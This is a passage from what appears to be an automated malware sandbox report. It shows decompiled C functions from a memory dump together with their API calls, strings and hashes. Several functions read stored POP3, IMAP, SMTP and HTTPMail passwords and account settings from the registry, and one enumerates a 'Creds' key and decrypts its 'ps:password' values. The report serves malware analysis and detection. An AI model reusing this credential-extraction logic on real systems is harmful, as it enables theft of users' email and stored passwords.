				 *(_t103 + 0x54) = "HTTPMail User Name";
				 *(_t103 + 0x58) = "SMTP USer Name";
				 *(_t103 + 0x1c) = "POP3 Server";
				 *(_t103 + 0x20) = "IMAP Server";
				 *(_t103 + 0x24) = "HTTPMail Server";
				 *(_t103 + 0x28) = "SMTP Server";
				 *(_t103 + 0x3c) = "POP3 Password2";
				 *(_t103 + 0x40) = "IMAP Password2";
				 *(_t103 + 0x44) = "HTTPMail Password2";
				 *(_t103 + 0x48) = "SMTP Password2";
				 *(_t103 + 0x2c) = "POP3 Port";
				 *(_t103 + 0x30) = "IMAP Port";
				 *(_t103 + 0x34) = "HTTPMail Port";
				 *(_t103 + 0x38) = "SMTP Port";
				 *(_t103 + 0x5c) = "POP3 Secure Connection";
				 *(_t103 + 0x60) = "IMAP Secure Connection";
				 *(_t103 + 0x64) = "HTTPMail Secure Connection";
				 *(_t103 + 0x68) = "SMTP Secure Connection";
				_t90 = 0;
				do {
					 *(_t103 - 0x64) = 0;
					memset(_t103 - 0x63, 0, 0x7f);
					_push(_t103 - 0x64);
					_t96 = _t90 << 2;
					_push( *((intOrPtr*)(_t103 + _t96 + 0x4c)));
					_push( *((intOrPtr*)(_t103 + 0x78)));
					_t58 = 0x7f;
					_t59 = E0040F1F1(_t58, _t92);
					_t106 = _t106 + 0x18;
					if(_t59 == 0) {
						E00402197(_t103 - 0x408);
						strcpy(_t103 - 0x1f4, _t103 - 0x64);
						_t100 =  *((intOrPtr*)(_t103 + 0x78));
						 *((intOrPtr*)(_t103 - 0x37c)) =  *((intOrPtr*)(_t103 + 0x7c));
						_t34 = _t90 + 1; // 0x1
						 *((intOrPtr*)(_t103 - 0x1f8)) = _t34;
						_push(_t103 - 0x2f8);
						_push( *((intOrPtr*)(_t103 + _t96 + 0x1c)));
						_push(_t100);
						_t67 = 0x7f;
						E0040F1F1(_t67, _t92);
						_push(_t103 - 0x3fc);
						_push("SMTP Display Name");
						_push(_t100);
						_t70 = 0x7f;
						E0040F1F1(_t70, _t92);
						_push(_t103 - 0x378);
						_push("SMTP Email Address");
						_push(_t100);
						_t73 = 0x7f;
						E0040F1F1(_t73, _t92);
						_t108 = _t106 + 0x2c;
						if(_t90 != 3) {
							_push(_t103 - 0x278);
							_push("SMTP Server");
							_push(_t100);
							_t87 = 0x7f;
							E0040F1F1(_t87, _t92);
							_t108 = _t108 + 0xc;
						}
						E0040F1CA(_t92, _t100,  *((intOrPtr*)(_t103 + _t96 + 0x2c)), _t103 - 0x74);
						E0040F1CA(_t92, _t100,  *((intOrPtr*)(_t103 + _t96 + 0x5c)), _t103 - 0x70);
						_t106 = _t108 + 0x18;
						_t101 =  *((intOrPtr*)(_t103 + 0x74));
						E0040242B(_t101, _t92, _t100,  *((intOrPtr*)(_t103 + _t96 + 0x3c)), _t103 - 0x174, 0);
						strcpy(_t103 - 0xf4, _t101 + 0xa9c);
						_pop(_t92);
						_t59 = E004023C6(_t103 - 0x408, _t114, _t101);
					}
					_t90 = _t90 + 1;
				} while (_t90 < 4);
				return _t59;
			}

0x004025c5
0x004025c5
0x004025c6
0x004025ca
0x004025d3
0x004025da
0x004025e1
0x004025e8
0x004025ef
0x004025f6
0x004025fd
0x00402604
0x0040260b
0x00402612
0x00402619
0x00402620
0x00402627
0x0040262e
0x00402635
0x0040263c
0x00402643
0x0040264a
0x00402651
0x00402658
0x0040265f
0x00402661
0x00402669
0x0040266d
0x00402675
0x00402678
0x0040267b
0x0040267f
0x00402684
0x00402685
0x0040268a
0x0040268f
0x0040269b
0x004026ab
0x004026b3
0x004026b6
0x004026bc
0x004026bf
0x004026cb
0x004026cc
0x004026d0
0x004026d3
0x004026d4
0x004026df
0x004026e0
0x004026e5
0x004026e8
0x004026e9
0x004026f4
0x004026f5
0x004026fa
0x004026fd
0x004026fe
0x00402703
0x00402709
0x00402711
0x00402712
0x00402717
0x0040271a
0x0040271b
0x00402720
0x00402720
0x0040272c
0x0040273a
0x0040273f
0x00402750
0x00402755
0x00402768
0x0040276e
0x00402776
0x00402776
0x0040277b
0x0040277c
0x0040278c

APIs

memset.MSVCRT ref: 0040266D

Part of subcall function 0040F1F1: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,0040F582,?,?,?,?,0040F582,00000000,?,?), ref: 0040F20C

strcpy.MSVCRT(?,?,?,?,?,7554ED80,?,00000000), ref: 004026AB
strcpy.MSVCRT(?,?), ref: 00402768

Strings

HTTPMail Server, xrefs: 004025FD
HTTPMail User Name, xrefs: 004025E1
SMTP Email Address, xrefs: 004026F5
IMAP Secure Connection, xrefs: 0040264A
POP3 Port, xrefs: 00402627
IMAP Port, xrefs: 0040262E
POP3 Password2, xrefs: 0040260B
POP3 Server, xrefs: 004025EF
SMTP Server, xrefs: 00402604, 00402712
IMAP User Name, xrefs: 004025DA
HTTPMail Secure Connection, xrefs: 00402651
HTTPMail Port, xrefs: 00402635
POP3 User Name, xrefs: 004025D3
SMTP Password2, xrefs: 00402620
IMAP Server, xrefs: 004025F6
SMTP Display Name, xrefs: 004026E0
SMTP Port, xrefs: 0040263C
POP3 Secure Connection, xrefs: 00402643
IMAP Password2, xrefs: 00402612
SMTP USer Name, xrefs: 004025E8
HTTPMail Password2, xrefs: 00402619
SMTP Secure Connection, xrefs: 00402658

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strcpy$QueryValuememset
String ID: HTTPMail Password2$HTTPMail Port$HTTPMail Secure Connection$HTTPMail Server$HTTPMail User Name$IMAP Password2$IMAP Port$IMAP Secure Connection$IMAP Server$IMAP User Name$POP3 Password2$POP3 Port$POP3 Secure Connection$POP3 Server$POP3 User Name$SMTP Display Name$SMTP Email Address$SMTP Password2$SMTP Port$SMTP Secure Connection$SMTP Server$SMTP USer Name
API String ID: 3373037483-1627711381
Opcode ID: e3f80b658476a1f582484f23fef2e1cdc73789c59224b923ecc992e764de9bf2
Instruction ID: 73c24e987151304ffccade67a91af9495e30ddb8d36a1dc6faba254672d7bb93
Opcode Fuzzy Hash: e3f80b658476a1f582484f23fef2e1cdc73789c59224b923ecc992e764de9bf2
Instruction Fuzzy Hash: 534143B190021CBEDB31DF51CD49ADE7BA8AF04348F50457BF918A7291D3799A88CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040B031, Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 110
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B031(void* __eax, intOrPtr _a4) {
				char _v271;
				char _v532;
				intOrPtr _v536;
				char _v540;
				void _v803;
				char _v804;
				void* __ebx;
				void* __edi;
				char* _t47;
				intOrPtr _t67;
				WINDOWPLACEMENT* _t73;
				void* _t75;
				char* _t83;
				struct HWND__* _t84;
				intOrPtr _t88;
				int _t90;

				_t75 = __eax;
				_v804 = 0;
				memset( &_v803, 0, 0x104);
				GetModuleFileNameA(0,  &_v804, 0x104);
				_t47 = strrchr( &_v804, 0x2e);
				if(_t47 != 0) {
					 *_t47 = 0;
				}
				strcat( &_v804, ".cfg");
				_v536 = _a4;
				_v540 = 0x414c5c;
				_v532 = 0;
				_v271 = 0;
				strcpy( &_v532,  &_v804);
				strcpy( &_v271, "General");
				_t88 =  *((intOrPtr*)(_t75 + 0x36c));
				_t16 =  &_v540; // 0x414c5c
				 *((intOrPtr*)( *_t16 + 4))("ShowGridLines", _t88 + 4, 0);
				_t20 =  &_v540; // 0x414c5c
				 *((intOrPtr*)( *_t20 + 8))("SaveFilterIndex", _t88 + 8, 0);
				_t24 =  &_v540; // 0x414c5c
				 *((intOrPtr*)( *_t24 + 4))("AddExportHeaderLine", _t88 + 0xc, 0);
				_t27 =  &_v540; // 0x414c5c
				 *((intOrPtr*)( *_t27 + 4))("MarkOddEvenRows", _t88 + 0x10, 0);
				_t67 = _v536;
				_a4 = _t67;
				_t90 = 0x2c;
				if(_t67 != 0) {
					_t84 =  *(_t75 + 0x108);
					if(_t84 != 0) {
						_t73 = _t75 + 0x128;
						_t73->length = _t90;
						GetWindowPlacement(_t84, _t73);
					}
				}
				_t35 =  &_v540; // 0x414c5c
				_t36 =  &_v540; // 0x414c5c
				_t83 = _t36;
				 *((intOrPtr*)( *_t35 + 0xc))("WinPos", _t75 + 0x128, _t90);
				if(_a4 == 0) {
					E00401823(_t75);
				}
				_t40 =  &_v540; // 0x414c5c
				return E004087DB( *((intOrPtr*)(_t75 + 0x370)), _t83, _t40);
			}

0x0040b043
0x0040b04f
0x0040b056
0x0040b067
0x0040b076
0x0040b07f
0x0040b081
0x0040b081
0x0040b090
0x0040b098
0x0040b0ac
0x0040b0b6
0x0040b0bd
0x0040b0c4
0x0040b0d5
0x0040b0da
0x0040b0e8
0x0040b0f9
0x0040b101
0x0040b112
0x0040b11a
0x0040b12b
0x0040b12e
0x0040b144
0x0040b147
0x0040b151
0x0040b154
0x0040b155
0x0040b157
0x0040b15f
0x0040b161
0x0040b169
0x0040b16b
0x0040b16b
0x0040b15f
0x0040b179
0x0040b184
0x0040b184
0x0040b18a
0x0040b190
0x0040b192
0x0040b192
0x0040b19d
0x0040b1ac

APIs

memset.MSVCRT ref: 0040B056
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,00000000,00000000), ref: 0040B067
strrchr.MSVCRT ref: 0040B076
strcat.MSVCRT(00000000,.cfg), ref: 0040B090
strcpy.MSVCRT(?,00000000,00000000,.cfg), ref: 0040B0C4
strcpy.MSVCRT(00000000,General,?,00000000,00000000,.cfg), ref: 0040B0D5
GetWindowPlacement.USER32(?,?), ref: 0040B16B

Strings

General, xrefs: 0040B0CF
\LA, xrefs: 0040B0E8, 0040B0F3, 0040B101, 0040B10C, 0040B11A, 0040B125, 0040B12E, 0040B13E, 0040B179, 0040B184, 0040B19D
MarkOddEvenRows, xrefs: 0040B139
AddExportHeaderLine, xrefs: 0040B120
WinPos, xrefs: 0040B17F
SaveFilterIndex, xrefs: 0040B107
.cfg, xrefs: 0040B08A
ShowGridLines, xrefs: 0040B0EE

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strcpy$FileModuleNamePlacementWindowmemsetstrcatstrrchr
String ID: .cfg$AddExportHeaderLine$General$MarkOddEvenRows$SaveFilterIndex$ShowGridLines$WinPos$\LA
API String ID: 1301239246-3877392175
Opcode ID: 0827365863aa91c80afc493f8c43d1ccc0429d1286164b8e7b7a3723fcb05fb6
Instruction ID: 0af9f59d4ba14ec1661be341c61033e05a04fd550f4be300a3a65ce9efdf479e
Opcode Fuzzy Hash: 0827365863aa91c80afc493f8c43d1ccc0429d1286164b8e7b7a3723fcb05fb6
Instruction Fuzzy Hash: F2414A72940118AFCB21DB54CC88FDABBBCAB58700F0441E6F509E7191DB749BC8CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004095F5, Relevance: 25.7, APIs: 10, Strings: 7, Instructions: 182
stringCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E004095F5(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v79;
				char _v80;
				void _v131;
				char _v132;
				void _v183;
				char _v184;
				char _v236;
				void _v491;
				char _v492;
				void* __edi;
				void* _t83;
				void* _t100;
				char* _t103;
				intOrPtr* _t120;
				signed int _t121;
				char _t139;
				signed int _t152;
				signed int _t153;
				signed int _t156;
				intOrPtr* _t157;
				void* _t158;
				void* _t160;

				_t120 = __ebx;
				_v492 = 0;
				memset( &_v491, 0, 0xfe);
				_t121 = 0xc;
				memcpy( &_v236, "<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s\r\n", _t121 << 2);
				asm("movsb");
				_t156 = 0;
				_v132 = 0;
				memset( &_v131, 0, 0x31);
				_v184 = 0;
				memset( &_v183, 0, 0x31);
				_v80 = 0;
				memset( &_v79, 0, 0x31);
				_t160 = _t158 + 0x3c;
				_t83 =  *((intOrPtr*)( *__ebx + 0x10))();
				_v12 =  *((intOrPtr*)(__ebx + 0x1b4));
				if(_t83 != 0xffffffff) {
					sprintf( &_v132, " bgcolor=\"%s\"", E0040F6E2(_t83,  &_v492));
					_t160 = _t160 + 0x14;
				}
				E00405F07(_a4, "<table border=\"1\" cellpadding=\"5\">\r\n");
				_v8 = _t156;
				if( *((intOrPtr*)(_t120 + 0x20)) > _t156) {
					while(1) {
						_t152 =  *( *((intOrPtr*)(_t120 + 0x24)) + _v8 * 4);
						if( *((intOrPtr*)((_t152 << 4) +  *((intOrPtr*)(_t120 + 0x34)) + 4)) != _t156) {
							strcpy( &_v80, " nowrap");
						}
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _t156;
						_t157 = _a8;
						 *((intOrPtr*)( *_t120 + 0x30))(5, _v8, _t157,  &_v28);
						E0040F6E2(_v28,  &_v184);
						E0040F70E( *((intOrPtr*)( *_t157))(_t152,  *(_t120 + 0x4c)),  *(_t120 + 0x50));
						 *((intOrPtr*)( *_t120 + 0x48))( *(_t120 + 0x50), _t157, _t152);
						_t100 =  *((intOrPtr*)( *_t120 + 0x14))();
						_t153 = _t152 * 0x14;
						if(_t100 == 0xffffffff) {
							strcpy( *(_t120 + 0x54),  *(_t153 + _v12 + 0x10));
						} else {
							_push( *(_t153 + _v12 + 0x10));
							_push(E0040F6E2(_t100,  &_v492));
							sprintf( *(_t120 + 0x54), "<font color=\"%s\">%s</font>");
							_t160 = _t160 + 0x10;
						}
						_t103 =  *(_t120 + 0x50);
						_t139 =  *_t103;
						if(_t139 == 0 || _t139 == 0x20) {
							strcat(_t103, "&nbsp;");
						}
						E0040F797( &_v28,  *((intOrPtr*)(_t120 + 0x58)),  *(_t120 + 0x50));
						sprintf( *(_t120 + 0x4c),  &_v236,  &_v132,  *(_t120 + 0x54),  &_v184,  &_v80,  *((intOrPtr*)(_t120 + 0x58)));
						E00405F07(_a4,  *(_t120 + 0x4c));
						_t160 = _t160 + 0x2c;
						_v8 = _v8 + 1;
						if(_v8 >=  *((intOrPtr*)(_t120 + 0x20))) {
							goto L14;
						}
						_t156 = 0;
					}
				}
				L14:
				E00405F07(_a4, "</table><p>");
				return E00405F07(_a4, 0x413b1c);
			}

0x004095f5
0x0040960e
0x00409615
0x0040961c
0x00409628
0x0040962a
0x0040962d
0x00409634
0x00409638
0x00409647
0x0040964e
0x0040965a
0x0040965e
0x00409665
0x0040966a
0x00409676
0x00409679
0x00409692
0x00409697
0x00409697
0x004096a2
0x004096ac
0x004096af
0x004096b9
0x004096bf
0x004096ce
0x004096d9
0x004096df
0x004096e2
0x004096e6
0x004096ea
0x004096f2
0x004096f5
0x00409700
0x0040970d
0x00409721
0x0040972f
0x00409736
0x00409739
0x0040973f
0x00409774
0x00409741
0x00409744
0x00409757
0x00409760
0x00409765
0x00409765
0x0040977b
0x0040977e
0x00409782
0x0040978f
0x00409795
0x0040979f
0x004097c3
0x004097ce
0x004097d3
0x004097d6
0x004097df
0x00000000
0x00000000
0x004096b7
0x004096b7
0x004096b9
0x004097e5
0x004097ed
0x00409805

APIs

memset.MSVCRT ref: 00409615
memset.MSVCRT ref: 00409638
memset.MSVCRT ref: 0040964E
memset.MSVCRT ref: 0040965E
sprintf.MSVCRT ref: 00409692
strcpy.MSVCRT(00000000, nowrap), ref: 004096D9
sprintf.MSVCRT ref: 00409760
strcat.MSVCRT(?, ), ref: 0040978F

Part of subcall function 0040F6E2: sprintf.MSVCRT ref: 0040F701

strcpy.MSVCRT(?,?), ref: 00409774
sprintf.MSVCRT ref: 004097C3

Part of subcall function 00405F07: strlen.MSVCRT ref: 00405F14
Part of subcall function 00405F07: WriteFile.KERNEL32(00413B1C,00000001,00000000,75144DE0,00000000,?,?,00409460,00000001,00413B1C,75144DE0), ref: 00405F21

Strings

 , xrefs: 00409789
</table><p>, xrefs: 004097E5
bgcolor="%s", xrefs: 0040968C
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 0040961D
<table border="1" cellpadding="5">, xrefs: 0040969A
<font color="%s">%s</font>, xrefs: 00409758
nowrap, xrefs: 004096D3

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memsetsprintf$strcpy$FileWritestrcatstrlen
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 2822972341-601624466
Opcode ID: 17b7667225c5a6bbdce009f3410a16bb9bd559968b7daa8f1be1712407fa5f11
Instruction ID: ad5d45e3310275bf8c81aed9ad428c342ee671dbf73ea1c77541a84cad310e98
Opcode Fuzzy Hash: 17b7667225c5a6bbdce009f3410a16bb9bd559968b7daa8f1be1712407fa5f11
Instruction Fuzzy Hash: AA615032900214AFDF18DF94CC85EDE7B79EF08314F1001AAFA05A71D2DB79AA95CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A02E, Relevance: 25.6, APIs: 17, Instructions: 108
windowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A02E(void* __eax) {
				void* _v36;
				long _v40;
				void* _v44;
				void* _v56;
				long _t21;
				void* _t24;
				long _t26;
				long _t34;
				long _t37;
				intOrPtr* _t40;
				void* _t42;
				intOrPtr* _t44;
				void* _t47;

				_t40 = ImageList_Create;
				_t47 = __eax;
				_t44 = __imp__ImageList_SetImageCount;
				if( *((intOrPtr*)(__eax + 0x198)) != 0) {
					_t37 = ImageList_Create(0x10, 0x10, 0x19, 1, 1);
					 *(_t47 + 0x18c) = _t37;
					 *_t44(_t37, 1);
					SendMessageA( *(_t47 + 0x184), 0x1003, 1,  *(_t47 + 0x18c));
				}
				if( *((intOrPtr*)(_t47 + 0x19c)) != 0) {
					_t34 =  *_t40(0x20, 0x20, 0x19, 1, 1);
					 *(_t47 + 0x190) = _t34;
					 *_t44(_t34, 1);
					SendMessageA( *(_t47 + 0x184), 0x1003, 0,  *(_t47 + 0x190));
				}
				_t21 =  *_t40(0x10, 0x10, 0x19, 1, 1);
				 *(_t47 + 0x188) = _t21;
				 *_t44(_t21, 2);
				_v36 = LoadImageA( *0x417b94, 0x85, 0, 0x10, 0x10, 0x1000);
				_t24 = LoadImageA( *0x417b94, 0x86, 0, 0x10, 0x10, 0x1000);
				_t42 = _t24;
				 *_t44( *(_t47 + 0x188), 0);
				_t26 = GetSysColor(0xf);
				_v40 = _t26;
				ImageList_AddMasked( *(_t47 + 0x188), _v44, _t26);
				ImageList_AddMasked( *(_t47 + 0x188), _t42, _v40);
				DeleteObject(_v56);
				DeleteObject(_t42);
				return SendMessageA(E004049F1( *(_t47 + 0x184)), 0x1208, 0,  *(_t47 + 0x188));
			}

0x0040a031
0x0040a03f
0x0040a049
0x0040a04f
0x0040a05b
0x0040a060
0x0040a066
0x0040a07b
0x0040a07b
0x0040a084
0x0040a090
0x0040a095
0x0040a09b
0x0040a0b0
0x0040a0b0
0x0040a0bc
0x0040a0c1
0x0040a0c7
0x0040a0fd
0x0040a101
0x0040a10b
0x0040a10d
0x0040a111
0x0040a122
0x0040a12c
0x0040a139
0x0040a145
0x0040a148
0x0040a16e

APIs

ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040A05B
ImageList_SetImageCount.COMCTL32(00000000,00000001), ref: 0040A066
SendMessageA.USER32 ref: 0040A07B
ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 0040A090
ImageList_SetImageCount.COMCTL32(00000000,00000001), ref: 0040A09B
SendMessageA.USER32 ref: 0040A0B0
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040A0BC
ImageList_SetImageCount.COMCTL32(00000000,00000002), ref: 0040A0C7
LoadImageA.USER32 ref: 0040A0E5
LoadImageA.USER32 ref: 0040A101
ImageList_SetImageCount.COMCTL32(?,00000000), ref: 0040A10D
GetSysColor.USER32(0000000F), ref: 0040A111
ImageList_AddMasked.COMCTL32(?,?,00000000), ref: 0040A12C
ImageList_AddMasked.COMCTL32(?,00000000,?), ref: 0040A139
DeleteObject.GDI32(?), ref: 0040A145
DeleteObject.GDI32(00000000), ref: 0040A148
SendMessageA.USER32 ref: 0040A166

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Image$List_$Count$CreateMessageSend$DeleteLoadMaskedObject$Color
String ID:
API String ID: 3411798969-0
Opcode ID: 1bd64ef7cf6ebfbe1216c8ae3712fe611673920fae5758317d27ef3baf5e7dda
Instruction ID: 418605dbbba7a2bdca51e359c3d30d4779c94778b6a4b101a6c03afd9e8c1dd7
Opcode Fuzzy Hash: 1bd64ef7cf6ebfbe1216c8ae3712fe611673920fae5758317d27ef3baf5e7dda
Instruction Fuzzy Hash: F13121716803087EFA316B709C47FD6BB95EB48B05F104829F3956A1E1CAF279909B18

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8B4, Relevance: 24.1, APIs: 10, Strings: 6, Instructions: 114
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040F8B4(intOrPtr _a4, intOrPtr _a8, char _a12, char _a16, intOrPtr _a20) {
				void _v259;
				char _v260;
				void _v515;
				char _v516;
				void _v771;
				char _v772;
				void _v1027;
				char _v1028;
				char _v1284;
				char _v2308;
				char _t47;
				intOrPtr* _t50;
				void* _t57;
				intOrPtr* _t73;
				void* _t76;
				void* _t77;
				void* _t78;
				void* _t79;

				_v1028 = 0;
				memset( &_v1027, 0, 0xfe);
				_v772 = 0;
				memset( &_v771, 0, 0xfe);
				_v516 = 0;
				memset( &_v515, 0, 0xfe);
				_t77 = _t76 + 0x24;
				if(_a16 != 0xffffffff) {
					sprintf( &_v1028, " bgcolor=\"%s\"", E0040F6E2(_a16,  &_v1284));
					_t77 = _t77 + 0x14;
				}
				if(_a20 != 0xffffffff) {
					sprintf( &_v772, "<font color=\"%s\">", E0040F6E2(_a20,  &_v1284));
					strcpy( &_v516, "</font>");
					_t77 = _t77 + 0x1c;
				}
				sprintf( &_v2308, "<table border=\"1\" cellpadding=\"5\"><tr%s>\r\n",  &_v1028);
				E00405F07(_a4,  &_v2308);
				_t47 = _a12;
				_t78 = _t77 + 0x14;
				if(_t47 > 0) {
					_t73 = _a8 + 4;
					_a16 = _t47;
					do {
						_v260 = 0;
						memset( &_v259, 0, 0xfe);
						_t50 =  *_t73;
						_t79 = _t78 + 0xc;
						if( *_t50 == 0) {
							_v260 = 0;
						} else {
							sprintf( &_v260, " width=\"%s\"", _t50);
							_t79 = _t79 + 0xc;
						}
						sprintf( &_v2308, "<th%s>%s%s%s\r\n",  &_v260,  &_v772,  *((intOrPtr*)(_t73 - 4)),  &_v516);
						_t57 = E00405F07(_a4,  &_v2308);
						_t78 = _t79 + 0x20;
						_t73 = _t73 + 8;
						_t34 =  &_a16;
						 *_t34 = _a16 - 1;
					} while ( *_t34 != 0);
					return _t57;
				}
				return _t47;
			}

0x0040f8cf
0x0040f8d5
0x0040f8e3
0x0040f8e9
0x0040f8f7
0x0040f8fd
0x0040f902
0x0040f909
0x0040f927
0x0040f92c
0x0040f92c
0x0040f933
0x0040f951
0x0040f962
0x0040f967
0x0040f967
0x0040f97d
0x0040f98c
0x0040f991
0x0040f994
0x0040f999
0x0040f9a3
0x0040f9a6
0x0040f9a9
0x0040f9b2
0x0040f9b8
0x0040f9bd
0x0040f9bf
0x0040f9c4
0x0040f9dd
0x0040f9c6
0x0040f9d3
0x0040f9d8
0x0040f9d8
0x0040fa07
0x0040fa16
0x0040fa1b
0x0040fa1e
0x0040fa21
0x0040fa21
0x0040fa21
0x00000000
0x0040fa26
0x0040fa2a

APIs

memset.MSVCRT ref: 0040F8D5
memset.MSVCRT ref: 0040F8E9
memset.MSVCRT ref: 0040F8FD
sprintf.MSVCRT ref: 0040F927
sprintf.MSVCRT ref: 0040F951
strcpy.MSVCRT(?,</font>,?,<font color="%s">,00000000,000000FF,?,?,?,?,?,?,?,?,?,00000006), ref: 0040F962
sprintf.MSVCRT ref: 0040F97D
memset.MSVCRT ref: 0040F9B8
sprintf.MSVCRT ref: 0040F9D3
sprintf.MSVCRT ref: 0040FA07

Part of subcall function 0040F6E2: sprintf.MSVCRT ref: 0040F701

Strings

width="%s", xrefs: 0040F9CD
bgcolor="%s", xrefs: 0040F921
</font>, xrefs: 0040F95C
<th%s>%s%s%s, xrefs: 0040FA01
<table border="1" cellpadding="5"><tr%s>, xrefs: 0040F977
<font color="%s">, xrefs: 0040F94B

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: sprintf$memset$strcpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 898937289-3842416460
Opcode ID: 545e006f70f27d5e232efb2f2e670bdaa3235a9e542d9c48a27740188541449b
Instruction ID: e1dfaf3f0aab17dcf8878a0a22dd94d4c671af1ddc0a59b8f6102d88430d0a7a
Opcode Fuzzy Hash: 545e006f70f27d5e232efb2f2e670bdaa3235a9e542d9c48a27740188541449b
Instruction Fuzzy Hash: F94133B2C4111D6EDB21DA54CD41FEB776CEF54348F0401BBB618E2142E2789F988F69

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD59, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 118
registryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040DD59(void* __ecx, void* __eflags, intOrPtr* _a4, intOrPtr _a8, char _a12, void* _a16) {
				int _v8;
				int _v12;
				void* _v16;
				short* _v20;
				int _v24;
				char* _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				int _v44;
				void _v299;
				char _v300;
				char _v556;
				char _v812;
				char _v4908;
				void* __ebx;
				void* __edi;
				long _t46;
				int* _t84;
				char* _t85;

				E00412360(0x132c, __ecx);
				_t1 =  &_a16; // 0x40e170
				_t84 = 0;
				_t2 =  &_a16; // 0x40e170
				_t46 = RegOpenKeyExA( *_t2, "Creds", 0, 0x20019, _t1);
				if(_t46 != 0) {
					return _t46;
				}
				_v300 = _t46;
				memset( &_v299, 0, 0xff);
				_push(0xff);
				_push( &_v300);
				_v8 = 0;
				_push(0);
				while(RegEnumKeyA(_a16, ??, ??, ??) == 0) {
					if(RegOpenKeyExA(_a16,  &_v300, _t84, 0x20019,  &_v16) == 0) {
						_v12 = 0x1000;
						if(RegQueryValueExA(_v16, "ps:password", _t84,  &_v44,  &_v4908,  &_v12) == 0) {
							_v32 = _v12;
							_v28 =  &_v4908;
							_v40 = _a12;
							_v36 = _a8;
							if(E0040481B(_a4 + 0xc,  &_v32,  &_v40,  &_v24) != 0) {
								_t85 =  &_v812;
								_v812 = 0;
								_v556 = 0;
								E004060DA(0xff, _t85,  &_v300);
								WideCharToMultiByte(0, 0, _v20, _v24,  &_v556, 0xff, 0, 0);
								 *((intOrPtr*)( *_a4))(_t85);
								LocalFree(_v20);
								_t84 = 0;
							}
						}
						RegCloseKey(_v16);
					}
					_v8 = _v8 + 1;
					_push(0xff);
					_push( &_v300);
					_push(_v8);
				}
				return RegCloseKey(_a16);
			}

0x0040dd61
0x0040dd6f
0x0040dd78
0x0040dd80
0x0040dd83
0x0040dd87
0x0040dec0
0x0040dec0
0x0040dd93
0x0040dda1
0x0040dda9
0x0040ddb0
0x0040ddb1
0x0040ddb4
0x0040dea2
0x0040ddd2
0x0040ddf0
0x0040ddff
0x0040de08
0x0040de11
0x0040de17
0x0040de1d
0x0040de39
0x0040de42
0x0040de48
0x0040de4f
0x0040de56
0x0040de70
0x0040de7e
0x0040de83
0x0040de89
0x0040de89
0x0040de39
0x0040de8e
0x0040de8e
0x0040de94
0x0040de97
0x0040de9e
0x0040de9f
0x0040de9f
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(p@,Creds,00000000,00020019,p@,%GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd,00000040,?,?,0040E170,?,?,?,?), ref: 0040DD83
memset.MSVCRT ref: 0040DDA1
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 0040DDCE
RegQueryValueExA.ADVAPI32(?,ps:password,00000000,?,?,?), ref: 0040DDF7
WideCharToMultiByte.KERNEL32(00000000,00000000,00000001,?,00000000,000000FF,00000000,00000000), ref: 0040DE70
LocalFree.KERNEL32(00000001), ref: 0040DE83
RegCloseKey.ADVAPI32(?), ref: 0040DE8E
RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 0040DEA5
RegCloseKey.ADVAPI32(?), ref: 0040DEB6

Strings

%GKP$^%^&LL(%^$^O&TR$^%^GV6;lxzd, xrefs: 0040DD6E
p@, xrefs: 0040DD6F, 0040DD80, 0040DD72
ps:password, xrefs: 0040DDE8
Creds, xrefs: 0040DD7B

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

